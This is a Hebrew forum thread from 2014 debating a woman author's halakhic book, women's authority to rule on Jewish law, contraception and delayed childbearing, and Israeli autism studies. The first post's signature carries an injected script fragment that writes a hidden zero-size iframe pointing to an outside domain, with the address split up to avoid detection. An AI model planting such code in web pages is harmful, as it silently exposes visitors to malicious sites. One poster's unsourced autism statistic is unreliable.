| נשלח ב-17/10/2014 15:40 |
 |
| |
הולכת בדרכה או "יוצאת ומוציאה לתרבות רעה"?
לפני זמן מה הוציאה הגברת מלכה פיוטרקובסקי ספר עב כרס עם דיונים הלכתיים. לצערי טרם ראיתי את הספר, אבל הדיו והדי הויכוחים סביבו הגיעו עד הלום.
שמו של הספר "מהלכת בדרכה - אתגרי החיים במבט הלכתי ערכי".
הספר מכיל דיונים הלכתיים והכרעות הלכתיות. והכרעות אלו אינן מקובלות.
דוגמא: הגברת פיוטרקובסקי מתירה, לפי השמועה, לדחות הולדת ילדים לזוג וכנראה, לפי זה, להשתמש באמצעי מניעה.
אחד הדיונים סביב הספר והמחברת מופיע בפורום של "אוצר החכמה", כפי שציין חברנו שאין שני לו, ספרן.
כיון שהספר אינו מצוי בידי, ואיני יודע מה עוד עלה בו, ובכל זאת הוא חשוב מאד - ולו כנושא לדיון - מגיע לו אשכול.
אני מעתיק ממה שכתבתי באשכול "מדף הספרים של עכ"ח":
הדברים ראויים לדיון ארוך באשכול בפני עצמו.
כמדומה שיש כאן מספר ענינים.
א. שאלת "פרו ורבו" מול דחית הולדה.
נזקקתי בעצמי לנושא בעבר, וגם אם יש סכנת מדרון חלקלק (שמי שדוחה בסוף יסתפק במועט אם בכלל) וגם אם יש התחשבות במה שמקובל ולכן הערעור מזיק, לדעתי אין זה נכון להציג את הדברים כאילו יש חובה להוליד מה שיותר ומה שיותר מהר. ואין שום איסור בנטילת אמצעי מניעה בהסכמת הבעל - מעבר לסיכון הבריאותי שיש בחלקם - ואפילו אין צורך "לשאול רב".
כמובן כתבתי כאן הכרזה שצריכה הנמקה. ולכן כדאי לפתוח אשכול. ומעניין שבדף היומי עברנו על סוגיה שנוגעת לענייננו, בענין שימוש במוך.
ב. שאר השאלות שבספר שאיני מכיר.
ג. האם אשה זכאית לדון בשאלות הלכתיות.
ויש עוד הבטים.
כתבתי שאם יהיה לי זמן אפתח אשכול. לא שיש לי זמן, אבל אנסה לנצל את המעט שיש כדי לפתוח דיון.
__נוספו מרכאות לביטוי השולל בכותרת כדי לציין שזו לא הבעת דעה על המחברת אלא רק צורת התייחסות של מבקריה - הק' מ'_______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי עצכח ב- 21/10/2014 17:03:00
 |
|
|
|
|
| נשלח ב-17/10/2014 15:40 |
|
| |
אמשלום הקשתה באשכול מדף הספרים:
[מיימוני,
בעוונותי, לא הבנתי את השאלה "האם אשה זכאית לדון בשאלות הלכתיות?".
א. מה "זכות" יש כאן? בד"כ בדיון של על לימוד תורה וכד' מדברים על "חובה" דווקא. לכן, אפילו אם אישה פטורה מלימוד תורה (או דיון בשאלות הלכתיות), האם היא אסורה בכך?! תמהתני.
ב. אישה שכבר ברור כי למדה תורה, האם יש שאלה לגבי "לדון"? נניח שאל לה לפסוק הלכה, אבל לדון בהלכה?! שוב, תמהני...]
|
|
|
|
| נשלח ב-17/10/2014 15:55 |
|
| |
אז הנה אחד הנושאים: זכאותה של אשה לעסוק בתחום שהיסטורית היה של רבנים, כלומר גברים. הלכה.
הנה תשובה עם רקע אוטוביוגרפי. התחלתי לכתוב לשם ואז הבנתי שאפשר כבר לפתוח אשכול.
אמשלום
המשפט שלי "האם אשה זכאית לדון בשאלות הלכתיות" משום מה לא היה ברור.
אנסה לבאר.
לימוד תורה נתפס בהיסטוריה שמוכרת לי בתור נחלתם של בני המין שלי, כלומר גברים. לא מצאנו נשים לומדות - אם כי מצאנו נשים נביאות ומנהיגות. אם יש התייחסות כלשהי בגמרא לנושא זה, הריהי שנשים אינן אמורות ללמוד אם כי עדיף שקצת ידע הכרחי יינתן להן.
והנה, בשני הדורות האחרונים היתה מהפכה נוספת לכל האחרות. נשים רוצות ללמוד - גמרא. ואם הן יודעות, אז מתעוררת השאלה: אולי גם הן יכולות להכריע?
אולי הן יכולות אפילו לפסוק בשאלות? להביע דעה?
אני עצמי, לפני שהגעתי לפורום, לפני שהכרתי נשים לומדות, לפני שהכרתי אותך, מסתבר שהייתי עונה בשלילה. איני יודע מה הנימוקים שהייתי מציע. למשל, שהגמרא פוסלת אותן. למשל, שאופן החשיבה שלהן אינו מאפשר להן לעשות זאת (זו הטענה שמייחסים לגמרא). ועוד.
היום אני רואה את הדברים אחרת. אולי אני טועה, אבל איני סבור שההבדלים בין גברים לנשים מצדיקים פסילה של שימוש נשים בתפקיד משיבות לשאלות. נשים ראויות ללמוד ואם ההבדלים ביניהן לבין גברים אינם מהותיים, אז הן יכולות לשמש כמשיבות ופוסקות.
כאן ראוי לציין שיש כמה סוגים של ענית תשובות בהלכה.
א. שאלות של "זיל קרי בי רב", כלומר שאלות פשוטות שהידע נרכש בחינוך יסודי.
ב. שאלות של ידע כללי. לכאן יש לשייך את האמירה מהגמרא שלפעמים ה' דוחה עונש שמגיע לאדם מפני שיש לו זכות. אחד התנאים דורש מהאב ללמד את בתו את הכלל הזה כדי שלא תתפעל ממקרה של אשה סוטה שנשארה בחיים. הווה אומר: הכלל הזה לא היה כה ברור בימים ההם, ובוודאי לא לנשים. (התפתחות הרעיון הזה עד לכדי "שכר מצוות בהאי עלמא ליכא" = השכר על המצות נמצא בעולם הבא היא עצמה תהליך לא פשוט שהיה בין התנאים. ויישומו לאורדיל, תהליך הבדיקה של סוטה, גם הוא נראה מחודש, אבל לצרכנו ניתן להראות שיש דברים של אמונה שצריך ללמד לכל אדם, ובזמנם היה צריך לומר: אפילו לאשה.
ג. שאלות שצריך לדעת לפתוח ספרים ולחפש אחריהן.
ד. שאלות חדשות שאינן מופיעות בספרים.
ה. תשובות או הכרעות חדשות לשאלות שהתשובה להן נתונה במחלוקת או אפילו שהתשובה עליהן אינה נתונה במחלוקת, אבל ראוי שישנו אותה.
מעטים תלמידי החכמים שמסוגלים ומוכנים לענות על שאלות מסוג ה. שאלות מסוג א נענו על ידי נשים בכל הדורות. וכי מי מעניק לילד את החינוך הראשון בשמירת שבת, בברכות ועוד, אם לא אמו? מי מלמד אותו להבדיל בין בשר וחלב, בין כלים בשריים לחלביים, להקפיד על שעות הפרדה בין בשר לחלב ומתי אפשר להקל? סיפור מפורסם של פרופסור סולוביצ'יק (שמופיע בכתובים אבל שמעתי מצוטט בעל פה), גילה כי אביו הגרי"ד לא היה בקיא בנוהגי המטבח כמו אשתו הרבנית... (אולי מישהו יביא את הסיפור ואת המקור).
אז יש לנו כאן סתירה, מהסוג שמופיעות עם המודרנה: המקורות וההיסטוריה קובעים גישה אחת, לפחות מתוך השתיקה, שהרי נשים מאז ימות התלמוד לא עסקו בלימוד ובהוראה. והערכים המודרניים והיכולת והמעשה מציגים דגם הפוך. נשים לומדות, והן עשויות ללמוד טוב מאד, חלקן יותר טוב מגברים מסויימים.
ואין כוונתי רק לנשים כמו פרופסור נחמה לייבוביץ ע"ה בתחום התנ"ך. מה באמת ימנע מאשה ללמוד גמרא, פוסקים, להתמחות בצורות הניתוח ולהציע פסקים מנומקים היטב?
אבל העדות ההיסטורית נושאת משקל, וכן הנוהג הרווח. אי אפשר או קשה מאד להתעלם מההיסטוריה. האם זה רק הרגל או גילוי מילתא על טבע הנשים? הרי זה שנשים נשלחות ללמוד וזו זכותן הרי זו תופעה חדשה יחסית. ואם נבדוק, אז גם שליחת ילדים ללימוד אינה דבר פשוט מעצמו.
בהתחשב ברקע הזה, אפשר להבין שהופעתה של אשה חכמה ואמיצה, חכמה כדי להבין בתלמוד ובשיטות הספק, ואמיצה כדי להביע דעה - הופעה זו תעורר תגובות גם אם היא תלך בתלם של כללי הפסק הרגילים.
אם אותה אשה תערער על מקובלות, יעשו לה וממנה מה שעושים לעצור חושבים, הפורום שלנו.
ואולי בצדק? יש מי שיחשבו שזה בהחלט בצדק וביושר לתקוף אותה.
האשכול הזה צפוי לדעתי להיות מעניין מאד. נושאים שיעלו בו יכולים להיות:
א. לימוד תורה לנשים בהיסטוריה.
ב. סוגי לימוד ופסיקה.
ג. היחס לשאלות חדשות ובזמנים חדשים.
ואחרון חביב:
ד. ספרה של פיוטרקובסקי
ה. ומן הנושאים שבו: באיזו מידה יש חיוב להוליד ילדים, מייד או לדחות לאחר זמן, להסתפק במספר קטן או להוליד עוד?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-19/10/2014 00:10 |
|
| |
בלי קשר להלכה ולמי הסמכות וכדומה.
דחיית ההולדה מבחינת הרפואה והטבע עדיף מאוד שלא לדחות. הנה כתבה שהתפרסם לא מזמן.
אצל החרדים יש פחות אוטיסטים: מדוע? שכיחות התסמונת האוטיסטית אצל חרדים וערבים, נמוכה בהרבה משכיחותה במגזרים האחרים • ויש לכך סיבה יונה שוב 00:22 19/09/2014 מחקר ישראלי מגלה: שכיחות מחלת האוטיזם בקרב ילדים בחברה החרדית והערבית נמוכה פי שניים עד פי שלושה ביחס לשאר האוכלוסייה בארץ. המחקר שהוצג בכנס העמותה הישראלית להתפתחות הילד ושיקומו, נערך על ידי ד"ר מיטשל שערץ, מומחה בנוירולוגיית ילדים והתפתחות הילד ויו"ר העמותה, בשיתוף עם מנהלי מערך נוירולוגיה והתפתחות הילד בקופת חולים "מאוחדת". המחקר התבסס על נתונים של יותר מ–450 אלף ילדים ובני נוער עד גיל 18 מהמאגר הארצי במאוחדת. לדברי שערץ, לפי הממצאים, בקרב החברה החרדית ישנם כ- 2.5 מקרים בממוצע של לקות על הספקטרום האוטיסטי לכל אלף ילדים, בעוד שבקרב החברה הערבית עומדת השכיחות על כ-3 מקרים לכל אלף ילדים. לעומת זאת, בחברה החילונית והדתית–לאומית שכיחות התופעה נעה בין 5.5 ל–9 מקרים לכל אלף ילדים. גם מחקר שנערך בנושא על ידי חוקרים מאוניברסיטת הרווארד, איגוד רופאי בריאות הציבור והביטוח הלאומי, בדק ילדים שאובחנו כאוטיסטים בין השנים 1992–2009, ומצא כי 82% מהם היו יהודים שאינם חרדים, ורק 12% מהם היו חרדים ו6% היו ערבים. לפי ההשערה של החוקרים השכיחות הנמוכה נובעת מכך שבחברה החרדית והערבית נהוג להביא ילדים בגיל צעיר יותר. הטווח האוטיסטי הינו טווח של תסמונות המאופיינות בהפרעות התנהגות בלתי חברתיות והפרעות תפיסה. עד היום לא ברורות מקורות התסמונת.
תוקן על ידי maxmen ב- 19/10/2014 00:11:51
|
|
|
|
|
| נשלח ב-19/10/2014 09:28 |
|
| |
.
http://www.ynet.co.il/articles/0,7340,L-4579751,00.html מחקר: שיעור האוטיזם במגזר הערבי - זהה ליהודים מחקרים בשנים האחרונות טענו כי ישנם פחות ילדים אוטיסטים במגזר הערבי בישראל מאשר בזה היהודי, אך מחקר חדש שנערך בחיפה מגלה כי הנתונים דומים, והמקור להבדל נעוץ בתת-אבחון של הילדים. באוכלוסייה הערבית, אומרים החוקרים, נרשמה תחלואה חמורה יותר הכוללת אוטיזם קשה ופיגור שכלי נתונים מפתיעים על אוטיזם במגזר הערבי בישראל: מחקר שערכו רופאים במכון להתפתחות הילד של קופת החולים הכללית בחיפה ובגליל המערבי מעלה כי שיעור האוטיזם במגזר הערבי תואם את הנתונים במגזר היהודי. המחקר מפריך מחקרים קודמים שסברו כי מספר הילדים האוטיסטים במגזר הערבי נמוך בהרבה מזה שבמגזר היהודי, וקובע כי המקור לנתונים הנמוכים הוא תת-אבחון.  עוד סיפורים חמים - בפייסבוק שלנו
עוד על אוטיזם : הופך לאבא בגיל 45? הילד בסיכון לאוטיזם "הבנתי שילד עם אוטיזם זה לא סוף העולם" "וואו, הוא ממש לא נראה אוטיסט" תת-אבחון במגזר הערבישיעור האבחון באוטיזם עלה בשנים האחרונות בצורה דרמטית, והגיע ל-1% מכלל האוכלוסייה (פי שניים אצל בנים). הסיבות לעלייה בשכיחות כוללות דיוק רב יותר באבחון ושינוי בקריטריונים האבחנתיים, כמו גם הרחבת ההגדרות לסוגים השונים של ההפרעה. עלייה בשיעור המאובחנים תוך 17 שנה: פי 10 יותר אוטיסטים בישראל ירון קלנר במחקר מקיף וראשון מסוגו נאספו נתונים על מספר הילדים שקיבלו קצבת נכות בישראל בגין אוטיזם מאז שנת 1992. המספרים קשים: עלייה של פי 10 בשיעור המאובחנים כאוטיסטים - מתוכם 12% חרדים ו-6% ערבים ישראלים. החוקרים ל"ידיעות אחרונות": הסיבה לגידול החד אינה ידועה בישראל סברו עד לאחרונה שהפרעה זו שכיחה הרבה יותר ביהודים מאשר בקרב ערבים. במחקר שהתפרסם בשנת 2009 על ידי צוות חוקרים מבית החולים שניידר בפתח תקווה, שאסף נתונים במשך העשור שקדם לפרסום המאמר, נמצא ש-98% מהילדים האוטיסטים הם מהמגזר היהודי, בעוד שרק 2% הם מהמגזר הערבי. צוות החוקרים הנוכחי מהמכון להתפתחות הילד של הכללית בחיפה ובגליל המערבי כלל את מנהל מערך המכונים, פרופ' נתנאל צלניק שריכז את המחקר, ד"ר רותי טרקל-דאבר וד"ר מוחמד מחאג'נה. הנחת החוקרים הייתה שהנתונים הקודמים מצביעים למעשה על תת-אבחון של הפרעה זו במגזר הערבי, ועל כן יש צורך לבדוק את המצב בהווה. במחקר שערכו, נאסף מידע על 200 ילדים מחיפה, חוף הכרמל, העמקים, קריות, הגליל המערבי ואזור חדרה, אשר אובחנו כבעלי הפרעה בקשת האוטיסטית: 176 בנים (88%) ו-24 בנות (12%). החוקרים גילו כי שיעור התחלואה במגזר הערבי אינו שונה מהותית מזה של המגזר היהודי, ומתוך 200 ילדים נמצאו 129יהודים (64.5%) ו-71 ערבים (35.5%). המספרים תואמים את התפלגות האוכלוסייה הכללית באזורים שנבדקו. תחלואה קשה יותרעוד גילו החוקרים, כי באוכלוסייה הערבית נצפתה תחלואה קשה יותר, עם שיעור גבוה יותר של ילדים שלהם אוטיזם קשה ופיגור שכלי, בעוד שבקרב היהודים נמצא שיעור גבוה יותר של הפרעות קלות בקשת האוטיסטית. נמצאה גם שכיחות יתר של ילדים אוטיסטים נוספים במשפחות מהמגזר הערבי, לעומת המגזר היהודי. הסיבה העיקרית להבדלים אלה נעוצה, לדעת החוקרים, בשיעור גבוה יותר של נישואי קרובים במגזר הערבי, ועקב כך שכיחות יתר של הפרעות תורשתיות. כמו כן, מצאו החוקרים שבעוד שבמגזר היהודי הייתה מודעות רבה יותר בקרב גננות ומטפלות להעלאת החשד לאבחנה זו, ופעמים רבות הקדימו את חשדו של רופא הילדים, הרי שבמגזר הערבי היה זה ברוב המקרים הרופא שחשד ראשון באפשרות זו. החוקרים בדקו תחלואה נלווית בשתי האוכלוסיות, ובכלל זאת אפילפסיה, הפרעות התנהגות, הפרעות פסיכיאטריות וחרדה, ולא נמצאו הבדלים משמעותיים. המחקר הוצג בכנס אירופאי המוקדש לתחום נוירולוגיה של ילדים והתפתחות הילד שנערך בצרפת ובכנס הארצי של העמותה להתפתחות הילד ושיקומו.
|
|
|
|
|
|
| נשלח ב-19/10/2014 09:36 |
|
| |
.
ואם זה לא היה ברור, המחקר מ"מאוחדת" לוקה בכשלים מתודולוגיים רבים מאד, אציין כאן רק מעט מהם:
1.
הטענה כי ההבדלים נובעים מאבחון נמוך יותר, נדחתה בלי נימוק משמעותי. יש נתונים רבים אחרים המעידים על תת-אבחון בתחום זה באוכלוסיה הרלבנטית.
יש לציין כאן כי לפי נתונים ממחקרים רבים, קיים קשר ברור בין רמה סוציואקונומית לבין רמת האבחון. ככל שמדובר באוכלוסיה בעלת מעמד סו"א גבוה יותר, רמת האבחון גבוהה יותר, ואין צורך לפרט את ההשלכות למקרה זה.
2.
המחקר נעשה על בסיס מאגר המידע של מבוטחי מאוחדת. זה לא מאגר מייצג. הפיזור של מבוטחי קופ"ח מאוחדת בישראל אינו אחיד. כמעט מחצית ממבוטחי מאוחדת חיים באיזור ירושלים.
לכך יש להוסיף כי גם פירמידת הגילאים של מבוטחי מאוחדת שונה מאד משל כלל האוכלוסיה.
3.
זיהוי הקבוצות חרדים/ערבים נעשה על פי מקומות המגורים בלבד. חרדים הגרים בערים מעורבות, כמו גם ערבים שאינם גרים בישובים ערביים, לא נדגמו ככאלו. מכאן שהאוכלוסיה הערבית, לדוגמא, שנדגמה, היא אוכלוסיה כפרית בעיקרה. ההשלכות הוסברו לעיל בהערה 1.
4.
ההגדרות לאוטיזם השתנו עם השנים. לאחר השינוי שחל ב- DSM-IV, ההגדרה הפסיקה להיות בינומית והוחל לדבר על הרצף האוטיסטי. השינוי הזה גרם, במקומות בהם הוא התקבל, לעליה חדה בשיעור המאובחנים כאוטיסטים - ולירידה מקבילה בשיעור המאובחנים כבעלי פיגור. כדאי לראות בסוף הכתבה, את ההערה על כך שבמגזר הערבי יש פחות אוטיסטים אבל יותר בעלי פיגור, כדי להבין את הרמז - שיטות האבחון אינן אחידות בכל מקום.
|
|
|
|
|
| נשלח ב-19/10/2014 10:05 |
|
| |
מיימוני,
אני מצטרף לאמשלום, באי הבנת שאלתך.
אולי אסור ללמד נשים תורה שבע"פ, אבל היעלה על הדעת שאישה שפותחת גמרא עושה איסור?! מהיכי תיתי?
נניח שיש לנו אישה שפתחה גמרא ועוד כמה ספרים, והיום יודעת הרבה מאוד, ויש לה חידושים, היעלה על הדעת שאסור לה לכתוב את חידושיה?! האם מצאנו איזשהו צורך בהיתר לכתוב חידושים (מאז שהותר לכתוב תשבע"פ)? מהיכי תיתי?
כעת אנו באים לשאלת הפסיקה. אני בעוניי לא כל כך מבין מה שייכת פסיקה לגבי מקרים כלליים. לגבי עניין מסוים כמו למשל מראה דם אני יכול להבין, ושם נאמרו הדינים של הנשאל לחכם ואסר וכו'. אפשר לטעון שאדם הנזקק לשאלה הלכתית צריך ללכת לשאול גבר שיודע ולא אישה (אין לי מושג למה לטעון דבר כזה, אבל לצורך הדיון נניח זאת), אבל למה שאישה לא תוכל להביע את דעתה לגבי נושאים הלכתיים. מי שמחליט לפסוק לעצמו (בין אם הוא בר הכי או לא) יוכל לקרוא את דבריה ולהחליט האם הם נכונים או לא - קבל האמת ממי שאמרה.
ושאלה קטנה לסיום: נניח שאישה שומעת שני גברים הדנים בהלכה ומגיעים למסקנה שמותר, והיא יודעת שהם טועים. האם יש מישהו שיחשוב שהיא צריכה לשתוק כי אסור לה לדון בהלכה?! (השאלה הזו היא לאו דווקא במי שלמדה ויש בהחלט הרבה נשים שיודעות הלכות פשוטות [שלכל דעות הן צריכות ללמוד] יותר טוב מהרבה גברים).
|
|
|
|
|
| נשלח ב-19/10/2014 11:45 |
|
| |
כותרת שובניסטית להפליא.
ההפך מהולכת בדרכה זה יוצאת ומוציאה לתרבות רעה?
אילו היה מדובר בפוסק גבר היית אומר שהפוסק טעה. אבל האסוציאציה שלך לגבי אשה היא -יוצאת.
"ותצא דינה בת לאה אשר ילדה ליעקב לראות בבנות הארץ", ומפרש רש"י: "בת לאה - ולא בת יעקב, אלא על שם יציאתה נקראת בת לאה שאף היא יצאנית היתה שנאמר ותצא ..."
ומוציאה לתרבות רעה -רמה עוד יותר גבוהה של שובניזם.
מכאן ניתן ללמוד עד כמה היחס המשפיל של חז"ל לאשה מחלחל גם לאלה שכביכול במודע נדמה להם שהם נגמלו מההשפעה המזיקה הזאת.
|
|
|
|
| נשלח ב-19/10/2014 13:42 |
|
| |
.
כותרת מיימוני עדיפה על שורת הסיום של הרב קטן...
|
|
|
|
| נשלח ב-19/10/2014 14:13 |
|
| |
מואדיב:
בלי קשר למחקרים, האינטואיציה של כל חבר בקהילה גדולה כמו חסידויות גדולות, יודע שילדים אוטיסטים\תסמונת וכדומה נולדים יותר בגילים מאוחרים (מעבר לגיל הארבעים של האימה), יותר נכון שבגילים מוקדמים כמעט שזה לא מצוי וכ99% אוטיסטים\תסמונת וכדומה קורה בגילים המאוחרים.
כך שאינטואיטיבית ידענו שבגילים מאוחרים כדאי להימנע להוליד.
החידוש במחקר לעיל היא שזה כאילו תלוי מתי מתחילים, כלומר מי שמתחיל מוקדם יותר כנראה לא מוליד מאוחר יותר. (יש הרבה סיבות לכך כמו לידות בניתוח שהם מגבילים לשמונה לידות, ויכול להיות שהמתחילים מוקדם פשוט השעון הביולוגי נגמר מהר יותר, רואים את זה במציאות שאלה שמתחילות מאוחר יכולות להוליד הרבה יותר מאוחר מבנות שהתחילו מוקדם)
|
|
|
|
| נשלח ב-19/10/2014 14:52 |
|
| |
מואדיב,נכון שהרב יואל קטן הרחיק לכת ושרך דרכיו יותר אבל ברור ששניהם חושבים באותה צורה ולשניהם אותן אסוציאציות.
|
|
|
|
| נשלח ב-19/10/2014 15:15 |
|
| |
לנושא הדיון המקורי
לא כל כך הבנתי מה בדיוק השאלה
פסיקת הלכה אינה 'זכאות' היא מקצוע
במדה ואשה היא מקצועית בתחום, והיא כותבת פסק הלכה מנומק ומשכנע
היא לא צריכה שום זכאות, כי כל עוד הדברים מנומקים יש להם ערך עצמי
ואילו פסק לא מנומק ולא מבוסס גם אם יצא מידי מי ש'זכאי' אינו בעל ערך רב
ההבדל היחידי הוא שפוסקים גדולים לפעמים לא טורחים לנמק את דבריהם והשומעים סומכים על הרקורד שלהם
אבל עצם פסיקת ההלכה היא ענין של תוכן, אם היא מספקת את הסחורה, ומביאה הוכחה שמשהו אסור או מותר
הרי ההוכחה תקפה עד שמישהו ידחה אותה ויספק תשובה.
ובמשפט אחד, אם פגשת פסק הלכה של אשה, השאלה היא לא אם היא זכאית, אלא אם יש לך דרך לדחות את הדברים, ואם לא הרי שגם אתה מצטרף בחדווה לפסק זה.
|
|
|
|
| נשלח ב-19/10/2014 15:18 |
|
| |
| ישיבישעאר כתב: |  | לנושא הדיון המקורי
לא כל כך הבנתי מה בדיוק השאלה
פסיקת הלכה אינה 'זכאות' היא מקצוע
. |
|
טעות בבסיס. אין כזה מקצוע ולעולם לא היה.
הסברתי את זה באשכול הסמוך של ירוחם היקר. ושם כתבתי
הסבר הפשוט ביותר להבין לעומק אייך הפסיקה עובדת, היא שחייבים להבין שהתורה היא לא בידי חוקים דטרמיניסטיים כמו מתמטיקה ולוגיקה וכללי דרשות וכו' וכו', כך שמי שרוצה לפסוק על פי כללים לוגיים וכדומה ?! פשוט ייכשל ולא יבין למה הפוסקים לא מתייחסים לכללי לימוד ולכללי פסיקה ורק מביאים אסמכתאות רחוקות.
תוקן על ידי maxmen ב- 19/10/2014 15:19:02
|
|
|
|
| נשלח ב-19/10/2014 16:35 |
|
| |
מסכים אתך, איש יקר, שיש מקום ואפילו מקום רחב לסובייקטיביות.
אבל זה אינו גוזל את השם 'מקצוע' מפסיקת ההלכה
לא מדובר בספרות יפה שמה שתכתוב יהיה בסדר, אפשר לסתור פסק הלכה בנימוקים הלכתיים מכריעים ומחייבים.
גם בפסיכולוגיה יש מקום להמון סובייקטיביות, ואעפ"כ יהיה מגוחך לפסול אשה או כושי או יהודי לכתוב בפסיכולוגיה, שכן אם מאמרו יהיה בעל תוכן, משכנע, מנומק, הוא יהיה בעל ערך עצמי גם אם תפסול מליון פעמים את הכותב. ויביא בעל כרחך תועלת (או נזק) למקצוע הפסיכולוגיה.
וכך בדיוק בהלכה. נניח שקראתי פסק הלכה רציני ומשכנע, ואני כבר רץ לקיים אותו, ומישהו יצעק לי: היי, כתבה אותו מלכה פיוטרקובסקי, זה ממש לא יעניין אותי. וכן להיפך, קראתי פסק הלכה רדוד וחסר תוכן וביסוס, אני רץ לשים אותו בגניזה, ומישהו יצעק לי: היי, כתב אותו הרב זלמן מנדלברויט שליט"א שהוא בקי בש"ס ובפוסקים וטובל כל יום ש"י טבילות, זה עדיין לא יעניין אותי.
מקווה שהובנתי.
|
|
|
|
| נשלח ב-19/10/2014 16:57 |
|
| |
לישיבישעאר היקר:
בכוונה לא נכנסתי לנושא העיקרי באשכול, כי אני באמת חושב שוהיות שהתורה וההלכה באמת לא מקצוע (= לא דטרמיניסטית על דרך "לא חברה ירושלים אלא כי העמידו דבריהם על פי דין") ולכן באמת בכל ימי היהדות הנשים הם חלק בלתי נפרד ביצירה של היהדות. כמו "דת יהודית" ועשרות ומאות דוגמאות אחרות.
כך שלעומק הבעיה בנשים היא לא באי יכולת שלהן להיות מנהיגי הדור ופוסקות הדור, הבעיה היא אחרת לגמרי ושולית לגמרי שלא הנשים אשמות בכך רק דווקא הגברים כלומר בעיה של צניעות.
במציאות בהנהגת האומה במאות האחרונות, הנשים הן החלק העיקרי בהנהגת האומה. מאז חינוך החובה לבנות ?! אי אפשר לפקפק בזה !!! הראיה היא הביקוש והיצע שגורמת לבנות לשלם סידור מלא לבחור, כלומר הביקוש היא תוצאה של חינוך נשים על ידי נשים.
לסיכום:
אני רואה את כל הדיונים האלה בנאורות לגבי שוויון ומגדרים, בעיה של השיטה הסוציולוגית של הנאורות כלומר כולם עבדים למשטר כולם מולידים למשטר ולכן נוצר המגדרים והצורך בשוויון.
מה שאין כן ביהדות (שביסוד הוא לא משטר ושלטון) לעולם לא היית שאלה כזו, ובאמת כל מי שהוא איש חיל או אשת חיל, מצליח\מצליחה לתת את חותמו\חותמה על היהדות לדורי דורות. האם שרה שנירר פחותה מר' חיים עוזר בהצלת היהדות לפני השואה ???? האם לאימא שלי יש פחות זכויות בי וביהדות שלי ?? וכן כלפי כל משפחה יהודית נכון יהיה לומר שהאימא היא זאת שיש לה הרבה יותר זכויות, הרי חכמת נשים בנתה ביתה כלומר היהדות נבנה על ידי הנשים וזה המציאות ולכל אורך ההיסטוריה היהודית, כבר שרה דרשה לזרוק את ישמעאל מהבית כי הוא מקלקל את יצחק.
תוקן על ידי maxmen ב- 19/10/2014 17:08:13
|
|
|
|
|
|
